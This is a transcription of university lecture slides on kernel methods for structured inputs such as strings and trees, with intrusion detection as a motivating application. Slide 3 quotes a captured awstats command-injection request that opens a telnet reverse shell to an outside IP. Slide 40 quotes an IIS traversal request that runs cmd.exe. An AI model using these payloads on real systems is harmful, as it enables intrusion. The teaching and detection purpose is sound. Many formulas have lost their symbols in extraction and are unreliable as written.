Lecture 9 Kernel Methods for Structured Inputs

Transcription

1 Lecture 9 Kernel Methods for Structured Inputs Pavel Laskov 1 Blaine Nelson 1 1 Cognitive Systems Group Wilhelm Schickard Institute for Computer Science Universität Tübingen, Germany Advanced Topics in Machine Learning, 2012 P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

2 What We Have Learned So Far r c Learning problems are defined in terms of kernel functions reflecting the geometry of training data. What if the data does not naturally belong to inner product spaces? P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

3 Example: Intrusion Detection > GET / HTTP/1.1\x0d\x0aAccept: */*\x0d\x0aaccept-language: en\x0d \x0aaccept-encoding: gzip, deflate\x0d\x0acookie: POPUPCHECK= \x0d\x0aUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/ \x0d \x0aconnection: keep-alive\x0d\x0ahost: \x0d\x0a > GET /cgi-bin/awstats.pl?configdir= echo;echo%20yyy;sleep%207200%7ct elnet%20194%2e95%2e173%2e219%204321%7cwhile%20%3a%20%3b%20do%20sh% 20%26%26%20break%3b%20done%202%3e%261%7ctelnet%20194%2e95%2e173%2e 219%204321;echo%20YYY;echo HTTP/1.1\x0d\x0aAccept: */*\x0d\x0a User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\x0d \x0ahost: wuppi.dyndns.org:80\x0d\x0aconnection: Close\x0d\x0a \x0d\x0a > GET /Images/200606/tscreen2.gif HTTP/1.1\x0d\x0aAccept: */*\x0d\x0a Accept-Language: en\x0d\x0aaccept-encoding: gzip, deflate\x0d\x0a Cookie:.ASPXANONYMOUS=AcaruKtUwo5mMjliZjIxZC1kYzI1LTQyYzQtYTMyNy0 3YWI2MjlkMjhiZGQ1; CommunityServer-UserCookie1001=lv=5/16/ : 27:01 PM&mra=5/17/2006 9:02:37 AM\x0d\x0aUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418 (KHTML, like G ecko) Safari/ \x0d\x0aConnection: keep-alive\x0d\x0ahost : P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

4 Examples of Structured Input Data Histograms Strings Trees Graphs 2. N 1. NP S 3. VP V NP 2. N 1. NP S 3. VP V NP Jeff D ate N John hit D A N the apple the red car P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

5 Convolution Kernels in a Nutshell Decompose structured objects into comparable parts. Aggregate the values of similarity measures for individual parts. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

6 R-Convolution Let X be a set of composite objects (e.g., cars), and X 1,..., X D be sets of parts (e.g., wheels, brakes, etc.). All sets are assumed countable. Let R denote the relation being part of : R( x 1,..., x D,x) = 1, iff x 1,..., x D are parts of x The inverse relation R 1 is defined as: R 1 (x) = { x : R( x,x) = 1} In other words, for each object x, R 1 (x) is a set of component subsets, that are part of x. We say that R is finite, if R 1 is finite for all x X. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

7 R-Convolution: A Naive Example P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

8 R-Convolution: A Naive Example Alfa Romeo Junior Lada Niva wheels headlights bumpers transmission differential tow coupling... P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

9 R-Convolution: Further Examples Let x be a D-tuple in X = X 1... X D. Let each of the D components of x X be a part of x. Then R( x,x) = 1 iff x = x. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

10 R-Convolution: Further Examples Let x be a D-tuple in X = X 1... X D. Let each of the D components of x X be a part of x. Then R( x,x) = 1 iff x = x. Let X 1 = X 2 = X be sets of all finite strings over a finite alphabet. Define R( x 1, x 2,x) = 1 iff x = x 1 x 2, i.e. concatenation of x 1 and x 2. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

11 R-Convolution: Further Examples Let x be a D-tuple in X = X 1... X D. Let each of the D components of x X be a part of x. Then R( x,x) = 1 iff x = x. Let X 1 = X 2 = X be sets of all finite strings over a finite alphabet. Define R( x 1, x 2,x) = 1 iff x = x 1 x 2, i.e. concatenation of x 1 and x 2. Let X 1 =... = X D = X be a set of D-degree ordered and rooted trees. Define R( x,x) = 1 iff x 1,..., x D are D subtrees of the root of x X. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

12 R-Convolution Kernel Definition Let x,y X and x and ȳ be the corresponding sets of parts. Let K d ( x d,ȳ d ) be a kernel between the d-th parts of x and y (1 d D). Then the convolution kernel between x and y is defined as: K(x,y) = x R 1 (x) ȳ R 1 (y) D K d (x d,y d ) d=1 P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

13 Examples of R-Convolution Kernels RBF kernel is a convolution kernel. Let each of the D dimensions of x be a part, and K d (x d,y d ) = e (x d y d ) 2 /2σ 2. Then K(x,y) = D d=1 e (x d y d ) 2 /2σ 2 = e D d=1 (x d y d ) 2 /2σ 2 = e x y 2 2σ 2 P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

14 Examples of R-Convolution Kernels RBF kernel is a convolution kernel. Let each of the D dimensions of x be a part, and K d (x d,y d ) = e (x d y d ) 2 /2σ 2. Then K(x,y) = D d=1 e (x d y d ) 2 /2σ 2 = e D d=1 (x d y d ) 2 /2σ 2 = e x y 2 2σ 2 Linear kernel K(x,y) = D d=1 x dy d is not a convolution kernel, except for the trivial single part decomposition. For any other decomposition, we would need to sum products of more than one term, which contradicts the formula for the linear kernel. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

15 Subset Product Kernel Theorem Let K be a kernel on a set U U. The for all finite, non-empty subsets A,B U, K (A,B) = K(x,y) x Ay B is a valid kernel. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

16 Subset Product Kernel Proof. Goal: show that K (A,B) is an inner product in some space... Recall that for any point u U, K(u, ) is a function K u in some RKHS H. Let f A = u A K u, f B = u B K u. Define f A,f B := x A K(x,y) y B We need to show that it satisfies properties of an inner product... Let f C = u C K u. Clearly, f A +f C,f B = x A C = y BK(x,y) y BK(x,y)+ x A x C Other properties of the inner product can be proved similarly. K(x,y) y B P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

17 Back to the R-Convolution Kernel Theorem K(x,y) = is a valid kernel. x R 1 (x) ȳ R 1 (y) D K d (x d,y d ) d=1 P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

18 Back to the R-Convolution Kernel Proof. Let U = X 1... X D. From the closure of kernels under the tensor product, it follows that K( x,ȳ) = D K d (x d,y d ) d=1 is a kernel on U U. Applying the Subset Product Kernel Theorem for A = R 1 (x), B = R 1 (y), the theorem s claim follows. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

19 End of Theory P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

20 Convolution Kernels for Strings Let x,y A be two strings generated from the alphabet A. How can we define K(x,y) using the ideas of convolution kernels? P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

21 Convolution Kernels for Strings Let x,y A be two strings generated from the alphabet A. How can we define K(x,y) using the ideas of convolution kernels? Let D = 1, take X 1 to be the set of all possible strings of length n ( n-grams ) generated from the alphabet A. X 1 = A n. For any x A and any x X 1, define R( x,x) = 1 iff x x. Then R 1 (x) is a set of all n-grams contained in x. Define K( x,ȳ) = 1 [ x=ȳ]. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

22 Convolution Kernels for Strings Let x,y A be two strings generated from the alphabet A. How can we define K(x,y) using the ideas of convolution kernels? Let D = 1, take X 1 to be the set of all possible strings of length n ( n-grams ) generated from the alphabet A. X 1 = A n. For any x A and any x X 1, define R( x,x) = 1 iff x x. Then R 1 (x) is a set of all n-grams contained in x. Define K( x,ȳ) = 1 [ x=ȳ]. K(x,y) = x R 1 (x) ȳ R 1 (y) 1 [ x=ȳ] P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

23 Convolution Kernels for Strings (ctd.) An alternative definition of a kernel for two strings can be obtained as follows: Let D = 1, take X 1 to be the set of all possible strings of arbitrary length generated from the alphabet A. X 1 =. For any x A and any x X 1, define R( x,x) = 1 iff x x. Then R 1 (x) is a set of all n-grams contained in x. Define K( x,ȳ) = 1 [ x=ȳ]. K(x,y) = x R 1 (x) ȳ R 1 (y) 1 [ x=ȳ] Notice that the size of the summation remains finite despite the infinite dimensionality of X 1. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

24 Geometry of String Kernels Sequences 1. blabla blubla blablabu aa 2. bla blablaa bulab bb abla 3. a blabla blabla ablub bla 4. blab blab abba blabla blu Subsequences Histograms of subsequences Geometry 2 3 Features b a bb aa bla blu abba abla blab ablub bulab blabla blablu blablaa blablabu 1 4 P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

25 Metric Embedding of Strings Define the language S A of possible features, e.g., n-grams, words, all subsequences. For each sequence x, count occurrences of each feature in it: φ : x (φ s (x)) s S Use φ s (x) as the s-th coordinate of x in the vector space of dimensionality S. Define K(x,y) := φ s (x),φ s (y). This is equivalent to K(x,y) defined by the convolution kernel! P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

26 Similarity Measure for Embedded Strings Metric embedding enables application of various vectorial similarity measures over sequences, e.g. Kernels K(x,y) Linear φ s (x)φ s (y) s S RBF exp(d(x,y) 2 /σ) Similarity coefficients Jaccard, Kulczynski,... Distances d(x, y) Manhattan φ s (x) φ s (y) s S k Minkowski φ s (x) φ s (y) k Hamming s S sgn φ s (x) φ s (y) s S Chebyshev max s S φ s(x) φ s (y) P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

27 Embedding example X = abrakadabra Y = barakobama P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

28 Embedding example X = abrakadabra Y = barakobama X Y X Y a/5 a/4 20 b/2 b/2 4 d/1 k/1 k/1 1 m/1 o/1 r/2 r/ XY = 21.5 P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

29 Embedding example X = abrakadabra Y = barakobama X Y X Y a/5 a/4 20 b/2 b/2 4 d/1 k/1 k/1 1 m/1 o/1 r/2 r/ XY = 21.5 X Y X Y ab/2 ad/1 ak/1 ak/1 1 am/1 ar/1 ba/2 br/2 da/1 ka/1 ko/1 ma/1 ob/1 ra/2 ra/ XY = 77.5 P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

30 Implementation of String Kernels General observations Embedding space has huge dimensionality but is very sparse; at most linear number of entries are different from zero in each sample. Computation of similarity measures requires operations on either the intersection or the union of the set of non-zero features in each sample. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

31 Implementation of String Kernels General observations Embedding space has huge dimensionality but is very sparse; at most linear number of entries are different from zero in each sample. Computation of similarity measures requires operations on either the intersection or the union of the set of non-zero features in each sample. Implementation strategies Explicit but sparse representation of feature vectors sorted arrays or hash tables Implicit and general representations tries, suffix trees, suffix arrays P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

32 String Kernels using Sorted Arrays Store all features in sorted arrays Traverse feature arrays of two samples to find mathing elements φ(x) aa (3) ab (2) bc (2) cc (1) φ(z) ab (3) ba (2) bb (1) bc (4) Running time: Sorting: O(n) Comparison: O(n) P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

33 String Kernels using Generalized Suffix Trees 2-grams abbaa baaaa aa ab ba bb abbaa baaaa = a # $ b a # $ bbaa# aa baa# a # $ aa$ # a$ $ P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

34 String Kernels using Generalized Suffix Trees 2-grams abbaa baaaa aa 1 3 ab ba bb abbaa baaaa = a # $ b a # $ bbaa# aa baa# a # $ aa$ # a$ $ P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

35 String Kernels using Generalized Suffix Trees 2-grams abbaa baaaa aa 1 3 ab 1 0 ba bb abbaa baaaa = a # $ b a # $ bbaa# aa baa# a # $ aa$ # a$ $ P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

36 String Kernels using Generalized Suffix Trees 2-grams abbaa baaaa aa 1 3 ab 1 0 ba 1 1 bb abbaa baaaa = a # $ b a # $ bbaa# aa baa# a # $ aa$ # a$ $ P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

37 String Kernels using Generalized Suffix Trees 2-grams abbaa baaaa aa 1 3 ab 1 0 ba 1 1 bb 1 0 abbaa baaaa = a # $ b a # $ bbaa# aa baa# a # $ aa$ # a$ $ P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

38 Tree Kernels: Motivation Trees are ubiquitous representations in various applications: Parsing: parse trees Content representation: XML, DOM Bioinformatics: philogeny Ad-hoc features related to trees, e.g. number of nodes or edges, are not informative for learning Structural properties of trees, on the other hand, may be very discriminative P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

39 Example: Normal HTTP Request GET /test.gif HTTP/1.1<NL> Accept: */*<NL> Accept-Language: en<nl> Referer: Connection: keep-alive<nl> <httpsession> <request> <method> <uri> <version> <reqhdr> GET <path> HTTP/1.1 /test.gif <hdr> 1 <hdr> 2 <hdr> 3 <hdrkey> <hdrval> <hdrkey> <hdrval> <hdrkey> <hdrval> Accept: */* Referer: Connection: keep-alive P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

40 Example: Malicious HTTP Request GET /scripts/..%%35c../cmd.exe?/c+dir+c:\ HTTP/1.0 <httpsession> <request> <method> <uri> <version> GET <path> <getparamlist> HTTP/1.0 /scripts/..%%35c../.../cmd.exe? <getparam> <getkey> /c+dir+c:\ P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

41 Convolution Kernels for Trees Similar to strings, we can define kernels for trees using the convolution kernel framework: Let D = 1, X 1 = X be sets of all trees. X 1 = X =. For any x X and any x X 1, define R( x,x) = 1 iff x x x is a subtree of x Then R 1 (x) is a set of all subtrees contained in x. Define K( x,ȳ) = 1 [ x=ȳ]. K(x,y) = x R 1 (x) ȳ R 1 (y) 1 [ x=ȳ] P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

42 Convolution Kernels for Trees Similar to strings, we can define kernels for trees using the convolution kernel framework: Let D = 1, X 1 = X be sets of all trees. X 1 = X =. For any x X and any x X 1, define R( x,x) = 1 iff x x x is a subtree of x Then R 1 (x) is a set of all subtrees contained in x. Define K( x,ȳ) = 1 [ x=ȳ]. K(x,y) = x R 1 (x) ȳ R 1 (y) 1 [ x=ȳ] Problem: Testing for equality between two trees may be extremely costly! P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

43 Recursive Computation of Tree Kernels Two useful facts: Transitivity of a subtree relationship: x ˆx &ˆx x x x Necessary condition for equality: two trees are equal only if all of their subtrees are equal. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

44 Recursive Computation of Tree Kernels Two useful facts: Transitivity of a subtree relationship: x ˆx &ˆx x x x Necessary condition for equality: two trees are equal only if all of their subtrees are equal. Recursive scheme Let Ch( x) denote the set of immediate children of the root of (sub)tree x. x := Ch( x). If Ch( x) Ch(ȳ) return 0. If x = ȳ, return 1. Otherwise return x K( x,ȳ) = (1+K( x i,ȳ i )) i=1 P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

45 Computation of Recursive Clause Find a pair of nodes with identical subsets of children. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

46 Computation of Recursive Clause Find a pair of nodes with identical subsets of children. Add one for the nodes themselves (subtrees of cardinality 1). P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

47 Computation of Recursive Clause Find a pair of nodes with identical subsets of children. Add one for the nodes themselves (subtrees of cardinality 1). Add counts for all mathing subtrees. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

48 Computation of Recursive Clause Find a pair of nodes with identical subsets of children. Add one for the nodes themselves (subtrees of cardinality 1). Add counts for all mathing subtrees. Multiply together and return the total count. P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

49 Summary Kernels for structured data extend learning methods to a vast variety of practical data types. A generic framework for handling structured data is offered by convolution kernels. Special data structures and algorithms are needed for efficiency. Extensive range of applications: natural language processing bioinformatics computer security P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30

50 Bibliography I [1] M. Collins and N. Duffy. Convolution kernel for natural language. In Advances in Neural Information Proccessing Systems (NIPS), volume 16, pages , [2] D. Haussler. Convolution kernels on discrete structures. Technical Report UCSC-CRL-99-10, UC Santa Cruz, July [3] K. Rieck and P. Laskov. Linear-time computation of similarity measures for sequential data. Journal of Machine Learning Research, 9:23 48, P. Laskov and B. Nelson (Tübingen) Lecture 9: Learning with Structured Inputs July 3, / 30